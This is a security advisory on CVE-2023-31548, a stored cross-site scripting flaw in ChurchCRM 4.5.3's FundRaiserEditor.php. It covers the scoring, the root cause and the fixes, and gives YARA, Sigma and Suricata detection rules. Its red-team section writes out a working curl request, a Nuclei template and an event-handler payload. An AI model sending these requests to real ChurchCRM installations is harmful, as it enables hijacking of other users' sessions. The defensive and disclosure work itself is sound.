CVE-2023-31548

Executive Summary

CVE-2023-31548 is a stored Cross-Site Scripting (XSS) vulnerability identified in ChurchCRM version 4.5.3. The flaw resides in the FundRaiserEditor.php component, allowing an authenticated attacker to inject arbitrary web scripts or HTML via a crafted payload. Successful exploitation can lead to session hijacking, data theft, or web page defacement. The vulnerability has a CVSS v3.1 base score of 5.4 (Medium), with a public proof-of-concept (PoC) available via a Nuclei template. No official patch has been released by the vendor.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) - Requires authenticated user
• User Interaction: Required (UI:R) - Victim must view the malicious page
• Scope: Changed (S:C) - Impact may affect resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)
• EPSS Score: 0.10264% (Percentile: 93.188%) - Low probability of exploitation in the wild.

Deep Dive & Mechanics

The vulnerability is a stored XSS in the FundRaiserEditor.php page. The application fails to properly sanitize user-supplied input in the Title parameter before storing it in the database and later rendering it in HTML. An attacker can inject JavaScript event handlers (e.g., onfocus, autofocus) that execute when the page is loaded or interacted with.

Attack Flow:

1. Attacker authenticates to ChurchCRM.
2. Attacker sends a POST request to /FundRaiserEditor.php with a malicious Title parameter containing an XSS payload (e.g., " onfocus="alert(document.domain)" autofocus=").
3. The payload is stored in the database without sanitization.
4. When an administrator or other user views the Fund Raiser list, the payload executes in their browser context.

Root Cause: Lack of input validation and output encoding on the Title field in FundRaiserEditor.php.

Vulnerable vs. Patched Code

Vulnerable Code (ChurchCRM v4.5.3): The FundRaiserEditor.php likely directly echoes the Title parameter without sanitization:

// Vulnerable: Direct output without escaping
echo "<td>" . $fundRaiser['Title'] . "</td>";

Patched Code (Hypothetical): Proper output encoding using htmlspecialchars() or similar:

// Patched: Escape HTML entities
echo "<td>" . htmlspecialchars($fundRaiser['Title'], ENT_QUOTES, 'UTF-8') . "</td>";

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• ChurchCRM v4.5.3 instance
• Valid user credentials (low privilege)
• Network access to the target

Exploit Steps:

1. Authenticate to the ChurchCRM web interface.
2. Send a crafted POST request to /FundRaiserEditor.php with the XSS payload in the Title field.

Example Payload:

Title=" onfocus="alert(document.domain)" autofocus="

Full HTTP Request (using curl):

curl -X POST "http://target/FundRaiserEditor.php?linkBack=&FundRaiserID=-1" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "FundRaiserSubmit=Save&Date=2023-06-24&Title=%22+onfocus%3D%22alert%28document.domain%29%22+autofocus%3D%22&Description=test" \
  -b "PHPSESSID=your_session_cookie"

Nuclei Template (Provided):

id: CVE-2023-31548

info:
  name: ChurchCRM v4.5.3 - Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    A stored Cross-site scripting (XSS) vulnerability in the FundRaiserEditor.php component of ChurchCRM v4.5.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
  reference:
    - https://github.com/10splayaSec/CVE-Disclosures/tree/main/ChurchCRM/CVE-2023-31548
    - https://nvd.nist.gov/vuln/detail/CVE-2023-31548
    - https://github.com/10splayaSec/CVE-Disclosures
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-31548
    cwe-id: CWE-79
    epss-score: 0.10264
    epss-percentile: 0.93188
    cpe: cpe:2.3:a:churchcrm:churchcrm:4.5.3:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: churchcrm
    product: churchcrm
  tags: cve2023,cve,churchcrm,stored-xss,xss,authenticated,vuln

http:
  - raw:
      - |
        POST /session/begin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        User={{username}}&Password={{password}}
      - |
        POST /FundRaiserEditor.php?linkBack=&FundRaiserID=-1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        FundRaiserSubmit=Save&Date=2023-06-24&Title=%22+onfocus%3D%22alert%28document.domain%29%22+autofocus%3D%22&Description=test

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "onfocus=\"alert(document.domain)\" autofocus=\"\"></td>")'
          - 'contains(body_2, "ChurchCRM")'
        condition: and

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /FundRaiserEditor.php with suspicious Title parameters containing event handlers (e.g., onfocus, onload, onerror).
• Look for unusual characters in the Title field such as quotes, angle brackets, or JavaScript keywords.

Hunting:

• Search database for stored XSS patterns in the fundraiser table's Title column.
• Review web server logs for requests containing encoded XSS payloads.

Prevention:

• Implement a Web Application Firewall (WAF) rule to block requests with XSS patterns in the Title parameter.
• Apply input validation and output encoding as described in the patched code section.

Indicators of Compromise (IOCs)

• Network:
  • POST request to /FundRaiserEditor.php with Title containing onfocus, autofocus, or similar event handlers.
  • HTTP response containing onfocus="alert(document.domain)" autofocus="" in the HTML body.
• Host:
  • Database entry in fundraiser table with Title field containing JavaScript code.
  • Web server logs showing requests with encoded XSS payloads (e.g., %22+onfocus%3D%22alert%28document.domain%29%22).
• File:
  • No specific file-based IOCs.

Detection Engineering

YARA Rule

rule CVE_2023_31548_Stored_XSS {
    meta:
        description = "Detects stored XSS payload in ChurchCRM FundRaiserEditor"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-31548"
    strings:
        $xss_payload = /on(focus|load|error|click|mouseover)\s*=\s*["']?[^"']*alert/
        $db_pattern = /<td[^>]*>.*onfocus.*autofocus.*<\/td>/
    condition:
        $xss_payload or $db_pattern
}

Sigma Rule

title: ChurchCRM Stored XSS via FundRaiserEditor
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2023-31548 in ChurchCRM
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/FundRaiserEditor.php*'
        cs-uri-query|contains: 'Title='
    keywords:
        - 'onfocus'
        - 'autofocus'
        - 'alert('
        - 'onload'
        - 'onerror'
    condition: selection and keywords
falsepositives:
    - Legitimate use of event handlers in rare cases
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-31548 ChurchCRM Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/FundRaiserEditor.php"; http_uri;
    content:"Title="; http_client_body;
    pcre:"/(onfocus|autofocus|alert\()/i";
    reference:cve,2023-31548;
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Sanitize all user inputs in FundRaiserEditor.php, especially the Title field. Use htmlspecialchars() or equivalent for output encoding.
2. WAF Rules: Deploy WAF rules to block XSS patterns in POST parameters.
3. Access Control: Restrict access to FundRaiserEditor.php to trusted administrators only.

Long-term Fix:

• Upgrade to a patched version of ChurchCRM if available. If not, apply the code fix manually as described in the "Vulnerable vs. Patched Code" section.
• Conduct a full security audit of the application for similar vulnerabilities.

Workaround:

• Disable the Fund Raiser feature if not essential, or implement a custom middleware that sanitizes all POST data before processing.

Valters IT - DevSecOps & Cyber Threat Intelligence

{/* [Security Hash: 7E89E646C3C5D23A3CEA17DD] */}